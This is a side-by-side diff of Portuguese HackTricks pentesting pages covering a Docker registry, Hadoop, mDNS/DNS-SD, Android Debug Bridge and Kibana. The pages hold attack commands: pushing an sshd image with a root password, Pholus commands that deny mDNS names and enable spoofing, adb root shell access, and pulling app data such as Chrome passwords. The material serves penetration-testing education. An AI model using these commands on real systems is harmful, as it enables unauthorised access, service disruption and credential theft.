docker pull 10.10.10.10:5000/sshd-docker-cli docker pull 10.10.10.10:5000/sshd-docker-cli
docker run -d 10.10.10.10:5000/sshd-docker-cli docker run -d 10.10.10.10:5000/sshd-docker-cli
@ -270,7 +257,7 @@ RUN echo root:password | chpasswd
{% endtab %} {% endtab %}
{% endtabs %} {% endtabs %}
**Crie** a nova imagem, **verifique** se ela foi criada e **envie** a imagem: **Crie** a nova imagem, **verifique** se ela foi criada e **envie** ela:
```bash ```bash
docker build -t 10.10.10.10:5000/sshd-docker-cli . docker build -t 10.10.10.10:5000/sshd-docker-cli .
#Create #Create
@ -279,16 +266,14 @@ docker push registry:5000/sshd-docker-cli #Push it
``` ```
<details> <details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
- Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! Outras formas de apoiar o HackTricks:
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com) * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
- **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
</details> </details>

View file

@ -1,19 +1,51 @@
# **Informação Básica** <details>
O Apache Hadoop é um framework de código aberto que suporta o armazenamento e processamento distribuído de grandes conjuntos de dados usando clusters de computadores. O armazenamento é tratado pelo Hadoop Distributed File System (HDFS) e o processamento é realizado usando o MapReduce e outras aplicações (por exemplo, Apache Storm, Flink e Spark) via YARN. <summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
**Informações retiradas do livro** [**Network Security Assesment 3rd Edition**](https://www.amazon.com/Network-Security-Assessment-Know-Your-ebook/dp/B01N6E0BG2)
# **Informações Básicas**
Apache Hadoop é um framework de código aberto que suporta o armazenamento distribuído e o processamento de grandes conjuntos de dados usando clusters de computadores. O armazenamento é gerenciado pelo Hadoop Distributed File System (HDFS) e o processamento é realizado usando MapReduce e outras aplicações (por exemplo, Apache Storm, Flink e Spark) via YARN.
![](<../.gitbook/assets/image (139).png>) ![](<../.gitbook/assets/image (139).png>)
Figura 15-1. Arquitetura do Hadoop 2.0 Figura 15-1. Arquitetura do Hadoop 2.0
Você pode consultar os serviços MapReduce e HDFS usando os scripts Nmap listados na tabela a seguir (incluindo detalhes das portas padrão). No momento da escrita, o Metasploit não suporta o Hadoop. Você pode consultar os serviços MapReduce e HDFS usando os scripts Nmap listados na tabela a seguir (incluindo detalhes das portas padrão). No momento da escrita, o Metasploit não suporta Hadoop.
| **Nome do Script** | **Porta** | **Propósito** | | **Nome do Script** | **Porta** | **Propósito** |
| ------------------------------ | -------- | ----------------------------------------------------------------- | | ------------------------------ | -------- | ----------------------------------------------------------------- |
| hadoop-jobtracker-info | 50030 | Recuperar informações do serviço de rastreamento de tarefas e trabalhos MapReduce | | hadoop-jobtracker-info | 50030 | Recuperar informações dos serviços de rastreamento de jobs e tarefas do MapReduce |
| hadoop-tasktracker-info | 50060 | | | hadoop-tasktracker-info | 50060 | |
| hadoop-namenode-info | 50070 | Recuperar informações do nó de nome HDFS | | hadoop-namenode-info | 50070 | Recuperar informações do nó mestre do HDFS |
| hadoop-datanode-info | 50075 | Recuperar informações do nó de dados HDFS | | hadoop-datanode-info | 50075 | Recuperar informações do nó de dados do HDFS |
| hadoop-secondary-namenode-info | 50090 | Recuperar informações do nó de nome secundário HDFS | | hadoop-secondary-namenode-info | 50090 | Recuperar informações do nó mestre secundário do HDFS |
Clientes HDFS leves em Python e Go estão disponíveis online. O Hadoop é executado sem autenticação por padrão. Você pode configurar os serviços HDFS, YARN e MapReduce para usar o Kerberos. Clientes leves de Python e Go para HDFS estão disponíveis online. O Hadoop é executado sem autenticação por padrão. Você pode configurar os serviços HDFS, YARN e MapReduce para usar Kerberos.
<details>
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -1,31 +1,47 @@
# 5353/UDP Multicast DNS (mDNS) e DNS-SD
<details>
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) no github.
</details>
## Informações Básicas ## Informações Básicas
Multicast DNS (mDNS) é um **protocolo de configuração zero** que permite realizar **operações semelhantes ao DNS** na rede local na ausência de um servidor DNS convencional unicast. O protocolo usa a **mesma** API, **formatos de pacote** e semântica de operação que o DNS, permitindo resolver nomes de domínio na rede local. **DNS Service Discovery (DNS-SD)** é um protocolo que permite aos clientes **descobrir uma lista de instâncias nomeadas de serviços** (como test.\_ipps.\_tcp.local, ou linux.\_ssh.\_tcp.local) em um domínio usando consultas DNS padrão. O DNS-SD é mais frequentemente usado em conjunto com o mDNS, mas não depende dele. Ambos são usados por muitos dispositivos IoT, como impressoras de rede, Apple TVs, Google Chromecast, dispositivos de armazenamento conectados à rede (NAS) e câmeras.\ Multicast DNS (mDNS) é um **protocolo de configuração zero** que permite realizar **operações semelhantes ao DNS** na rede local na ausência de um servidor DNS unicast convencional. O protocolo utiliza a **mesma** API, **formatos de pacotes** e semânticas de operação que o DNS, permitindo resolver nomes de domínio na rede local. **DNS Service Discovery (DNS-SD)** é um protocolo que permite aos clientes **descobrir uma lista de instâncias nomeadas de serviços** (como test.\_ipps.\_tcp.local ou linux.\_ssh.\_tcp.local) em um domínio usando consultas DNS padrão. DNS-SD é mais frequentemente usado em conjunto com mDNS, mas não depende dele. Ambos são usados por muitos dispositivos IoT, como impressoras de rede, Apple TVs, Google Chromecast, dispositivos de armazenamento conectados à rede (NAS) e câmeras.\
**Porta padrão:** 5353/UDP **Porta padrão:** 5353/UDP
``` ```
PORT STATE SERVICE PORT STATE SERVICE
5353/udp open zeroconf 5353/udp open zeroconf
``` ```
### Como o mDNS funciona ### Como o mDNS Funciona
Os dispositivos usam o mDNS quando a rede local **não possui** um **servidor DNS unicast convencional**. Para resolver um nome de domínio para um endereço local usando o mDNS, o dispositivo envia uma **consulta DNS para um nome de domínio** terminando com **.local** para o **endereço multicast** **224.0.0.251** (para IPv4) ou **FF02::FB** (para IPv6). Você também pode usar o mDNS para resolver **nomes de domínio globais** (não .local), mas as implementações do mDNS devem **desativar** esse comportamento por padrão. As solicitações e respostas do mDNS usam **UDP** e a **porta 5353** como porta de origem e destino. Dispositivos usam mDNS quando a rede local **carece** de um **servidor DNS unicast** convencional. Para resolver um nome de domínio para um endereço local usando mDNS, o dispositivo envia uma **consulta DNS para um nome de domínio** terminado em **.local** para o **endereço multicast** 224.0.0.251 (para IPv4) ou FF02::FB (para IPv6). Você também pode usar mDNS para resolver **nomes de domínio globais** (não terminados em .local), mas as implementações de mDNS devem **desativar** esse comportamento por padrão. Solicitações e respostas mDNS usam **UDP** e **porta 5353** como porta de origem e destino.
As respostas do mDNS contêm várias flags importantes, incluindo um valor de **Tempo de Vida** (TTL) que significa quantos segundos o registro é válido. O envio de uma resposta com **TTL=0 significa que o registro correspondente deve ser apagado**. Outra flag importante é o bit QU, que denota se a consulta é uma consulta unicast. Se o **bit QU não estiver definido**, o pacote é uma consulta multicast (QM). Como é possível **receber consultas unicast fora do link local**, as implementações seguras do mDNS devem sempre **verificar se o endereço de origem no pacote corresponde ao intervalo de endereços da sub-rede local**. As respostas mDNS contêm várias flags importantes, incluindo um valor de **Time-to-Live** (TTL) que indica quantos segundos o registro é válido. Enviar uma resposta com **TTL=0 significa que o registro correspondente deve ser apagado**. Outra flag importante é o bit QU, que indica se a consulta é uma consulta unicast ou não. Se o **bit QU não estiver definido**, o pacote é uma consulta **multicast** (QM). Como é possível **receber consultas unicast fora do link local**, implementações seguras de mDNS devem sempre **verificar se o endereço de origem no pacote corresponde à faixa de endereço da sub-rede local**.
### Como o DNS-SD funciona ### Como o DNS-SD Funciona
O DNS-SD permite que os clientes **descubram serviços disponíveis na rede**. Para usá-lo, os clientes enviam consultas DNS padrão para registros de ponteiro (PTR), que mapeiam o tipo de serviço para uma lista de nomes de instâncias específicas desse tipo de serviço. DNS-SD permite que clientes **descubram serviços disponíveis na rede**. Para usá-lo, clientes enviam consultas DNS padrão para registros de ponteiros (PTR), que mapeiam o tipo de serviço para uma lista de nomes de instâncias específicas desse tipo de serviço.
Para solicitar um registro PTR, os clientes usam a forma de nome "\<Serviço>.\<Domínio>". A parte **\<Serviço>** é o **nome do serviço** precedido por "\_" (por exemplo, \_ipps, \_printer ou \_ipp) e **\_tcp ou \_udp**. A parte **\<Domínio>** é "**.local**".\ Para solicitar um registro PTR, clientes usam o formato de nome "\<Serviço>.\<Domínio>". A parte **\<Serviço>** é o **nome do serviço** precedido por "\_" (por exemplo, \_ipps, \_printer ou \_ipp) e **\_tcp ou \_udp**. A parte **\<Domínio>** é "**.local**".\
Os **respondedores** retornam então os registros PTR que apontam para os registros de **serviço (SRV)** e **texto (TXT)** correspondentes. Aqui está um exemplo de um registro PTR: **Respondentes** então retornam os registros PTR que apontam para os acompanhantes registros de **serviço (SRV)** e **texto (TXT)**. Aqui está um exemplo de um registro PTR:
``` ```
_ipps._tcp.local: type PTR, class IN, test._ipps._tcp.local _ipps._tcp.local: type PTR, class IN, test._ipps._tcp.local
``` ```
A parte do registro PTR à **esquerda** do dois pontos é o seu **nome**, e a parte à **direita** é o registro **SRV** para o qual o registro PTR aponta. O registro **SRV** lista o **host** e a **porta** de destino onde a instância do **serviço** pode ser alcançada. Por exemplo, a próxima imagem mostra um registro SRV "test.\_ipps.\_tcp.local" no Wireshark no host ubuntu.local e na porta 8000: A parte do registro PTR à **esquerda** do dois pontos é o seu **nome**, e a parte à **direita** é o registro **SRV** ao qual o registro PTR aponta. O registro **SRV** lista o **host** alvo e a **porta** onde a instância do **serviço** pode ser alcançada. Por exemplo, a próxima imagem mostra um registro SRV "test.\_ipps.\_tcp.local" no Wireshark no host ubuntu.local e porta 8000:
![](<../.gitbook/assets/image (651) (1) (1) (1) (1).png>) ![](<../.gitbook/assets/image (651) (1) (1) (1) (1).png>)
Portanto, o **nome do registro SRV** é **semelhante** ao registro **PTR** **precedido** pelo nome da **\<Instância>** (test neste caso). O **TXT** tem o **mesmo nome** que o registro **SRV** e contém as informações necessárias quando o endereço IP e o número da porta (contidos no registro SRV) para um serviço não são suficientes para identificá-lo. Portanto, o **nome do registro SRV** é **semelhante** ao registro **PTR** **precedido** pelo nome da **\<Instância>** (test neste caso). O registro **TXT** tem o **mesmo** **nome** que o registro **SRV** e contém as informações necessárias quando o endereço IP e o número da porta (contidos no registro SRV) para um serviço não são suficientes para identificá-lo.
## Enumeração ## Enumeração
@ -49,26 +65,26 @@ PORT STATE SERVICE
``` ```
### Enumeração de Rede ### Enumeração de Rede
Você pode aprender muito sobre a rede local simplesmente enviando solicitações mDNS e capturando tráfego mDNS multicast. Você pode aprender muito sobre a rede local simplesmente enviando solicitações mDNS e capturando o tráfego mDNS multicast.
Você pode usar a ferramenta [**Pholus**](https://github.com/aatlasis/Pholus/) para enviar solicitações mDNS (-rq) na rede local e capturar tráfego mDNS multicast (por -stimeout 10 segundos): Você pode usar a ferramenta [**Pholus**](https://github.com/aatlasis/Pholus/) para enviar solicitações mDNS (-rq) na rede local e capturar o tráfego mDNS multicast (por -stimeout 10 segundos):
```bash ```bash
sudo python3 pholus3.py eth0 -rq -stimeout 10 sudo python3 pholus3.py eth0 -rq -stimeout 10
``` ```
## Ataques ## Ataques
### Abusando da Fase de Probing do mDNS ### Abusando da Fase de Sondagem mDNS
Quando um respondedor mDNS inicia ou altera sua conectividade, ele pergunta à rede local se há **qualquer recurso com o nome que ele planeja usar**. Se a resposta contiver o registro em questão, o host de probing **deve escolher um novo nome**. Se 15 conflitos ocorrerem dentro de 10 segundos, o host deve esperar pelo menos cinco segundos antes de qualquer tentativa adicional. Além disso, se um minuto passar durante o qual o host não conseguir encontrar um nome não utilizado, ele reportará um erro ao usuário. Quando um respondedor mDNS inicia ou altera sua conectividade, ele pergunta à rede local se há **algum recurso com o nome que planeja usar**. Se a resposta contiver o registro em questão, o host de sondagem **deve escolher um novo nome**. Se 15 conflitos ocorrerem em 10 segundos, o host deve então esperar pelo menos cinco segundos antes de qualquer tentativa adicional. Além disso, se passar um minuto durante o qual o host não conseguir encontrar um nome não utilizado, ele relata um erro ao usuário.
O seguinte comando de linha de comando impedirá que qualquer novo dispositivo obtenha um novo nome, pois indicará que **qualquer nome já está sendo usado**: O seguinte comando impedirá que qualquer novo dispositivo obtenha qualquer novo nome, pois indicará que **qualquer nome já está em uso**:
```bash ```bash
sudo python pholus.py eth0 -afre -stimeout 1000 sudo python pholus.py eth0 -afre -stimeout 1000
``` ```
### Spoofing/MitM ### Spoofing/MitM
O ataque mais interessante que você pode realizar neste serviço é realizar um **MitM** na **comunicação entre o cliente e o servidor real**. Você pode ser capaz de obter arquivos sensíveis (MitM a comunicação com a impressora) ou até mesmo credenciais (autenticação do Windows).\ O ataque mais interessante que você pode realizar sobre este serviço é realizar um **MitM** na **comunicação entre o cliente e o servidor real**. Você pode ser capaz de obter arquivos sensíveis (MitM na comunicação com a impressora) ou até mesmo credenciais (autenticação do Windows).\
Para mais informações, consulte: Para mais informações, confira:
{% content-ref url="../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md" %} {% content-ref url="../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md" %}
[spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md](../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) [spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md](../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
@ -80,16 +96,14 @@ Para mais informações, consulte:
<details> <details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
- Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! Outras formas de apoiar o HackTricks:
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com) * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me no** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Compartilhe suas dicas de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) no github.
- **Compartilhe suas técnicas de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
</details> </details>

View file

@ -1,6 +1,22 @@
## Informação Básica # 5555 - Android Debug Bridge
O **Android Debug Bridge** (adb) é uma ferramenta versátil de linha de comando que permite a comunicação com um dispositivo. O comando adb facilita uma variedade de ações no dispositivo, como **instalar e depurar aplicativos**, e fornece **acesso a um shell Unix** que pode ser usado para executar uma variedade de comandos em um dispositivo. (de [aqui](https://developer.android.com/studio/command-line/adb)) <details>
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) no github.
</details>
## Informações Básicas
**Android Debug Bridge** (adb) é uma ferramenta de linha de comando versátil que permite a comunicação com um dispositivo. O comando adb facilita uma variedade de ações no dispositivo, como **instalar e depurar aplicativos**, e fornece **acesso a um shell Unix** que você pode usar para executar uma variedade de comandos em um dispositivo. (de [aqui](https://developer.android.com/studio/command-line/adb))
**Porta padrão**: 5555. **Porta padrão**: 5555.
``` ```
@ -9,13 +25,13 @@ PORT STATE SERVICE VERSION
``` ```
## Conectar ## Conectar
Se você encontrar o serviço ADB em execução em uma porta de um dispositivo e puder se conectar a ele, **você pode obter um shell dentro do sistema:** Se encontrar o serviço ADB em execução em uma porta de um dispositivo e conseguir se conectar a ele, **você pode obter um shell dentro do sistema:**
```bash ```bash
adb connect 10.10.10.10 adb connect 10.10.10.10
adb root # Try to escalate to root adb root # Try to escalate to root
adb shell adb shell
``` ```
Para mais comandos ADB, confira a seguinte página: Para mais comandos ADB, consulte a seguinte página:
{% content-ref url="../mobile-pentesting/android-app-pentesting/adb-commands.md" %} {% content-ref url="../mobile-pentesting/android-app-pentesting/adb-commands.md" %}
[adb-commands.md](../mobile-pentesting/android-app-pentesting/adb-commands.md) [adb-commands.md](../mobile-pentesting/android-app-pentesting/adb-commands.md)
@ -30,7 +46,7 @@ chmod 777 /data/data/com.package
cp -r /data/data/com.package /sdcard Note: Using ADB attacker cannot obtain data directly by using command " adb pull /data/data/com.package". He is compulsorily required to move data to Internal storage and then he can pull that data. cp -r /data/data/com.package /sdcard Note: Using ADB attacker cannot obtain data directly by using command " adb pull /data/data/com.package". He is compulsorily required to move data to Internal storage and then he can pull that data.
adb pull "/sdcard/com.package" adb pull "/sdcard/com.package"
``` ```
Você pode usar esse truque para **recuperar informações sensíveis como senhas do Chrome**. Para mais informações sobre isso, verifique as informações e referências fornecidas [**aqui**](https://github.com/carlospolop/hacktricks/issues/274). Você pode usar este truque para **recuperar informações sensíveis como senhas do Chrome**. Para mais informações sobre isso, confira as informações e referências fornecidas [**aqui**](https://github.com/carlospolop/hacktricks/issues/274).
## Shodan ## Shodan
@ -38,16 +54,14 @@ Você pode usar esse truque para **recuperar informações sensíveis como senha
<details> <details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
- Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! Outras formas de apoiar o HackTricks:
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com) * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
- **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details> </details>

View file

@ -1,24 +1,24 @@
# Informações Básicas # Informações Básicas
O Kibana fornece recursos de pesquisa e visualização de dados para dados indexados no Elasticsearch. O serviço é executado por padrão na porta **5601**. O Kibana também atua como interface do usuário para monitorar, gerenciar e proteger um cluster Elastic Stack. Kibana oferece capacidades de pesquisa e visualização de dados para dados indexados no Elasticsearch. O serviço roda por padrão na porta **5601**. Kibana também atua como a interface de usuário para monitoramento, gerenciamento e segurança de um cluster Elastic Stack.
## Autenticação? ## Autenticação?
A autenticação no Kibana está vinculada às **credenciais do** [**Elasticsearch**](9200-pentesting-elasticsearch.md). Se a **autenticação** estiver **desativada** no **Elasticsearch**, o **Kibana** também deve ser **acessível sem credenciais**. Caso contrário, as **mesmas credenciais válidas para o Elasticsearch** devem funcionar ao fazer login no Kibana. Os **direitos** dos **usuários** no **Elasticsearch** são os **mesmos** que no **Kibana**. A autenticação no Kibana está vinculada às **credenciais do** [**Elasticsearch**](9200-pentesting-elasticsearch.md). Se a **autenticação** estiver **desativada** no **Elasticsearch**, o **Kibana** também deve ser **acessível sem credenciais**. Caso contrário, as **mesmas credenciais válidas para o Elasticsearch** devem funcionar ao fazer login no Kibana. Os **direitos** dos **usuários** no **Elasticsearch** são os **mesmos** que no **Kibana**.
Você pode encontrar credenciais no arquivo de configuração **/etc/kibana/kibana.yml**. Se essas credenciais não forem para o usuário **kibana\_system**, deve-se tentar usá-las para acessar mais dados. Eles podem ter mais direitos do que o usuário **kibana\_system**, que tem acesso apenas à API de monitoramento e ao índice **.kibana**. Você pode encontrar credenciais no arquivo de configuração **/etc/kibana/kibana.yml**. Se essas credenciais não forem para o usuário **kibana\_system**, deve-se tentar usá-las para acessar mais dados. Elas podem ter mais direitos do que o usuário **kibana\_system**, que tem acesso à API de monitoramento e ao índice **.kibana**.
## Tendo Acesso? ## Tendo Acesso?
Ao ter acesso ao Kibana, você pode fazer várias coisas: Ao ter acesso ao Kibana, você pode fazer várias coisas:
* Tente **acessar dados** do **Elasticsearch** * Tentar **acessar dados** do **Elasticsearch**
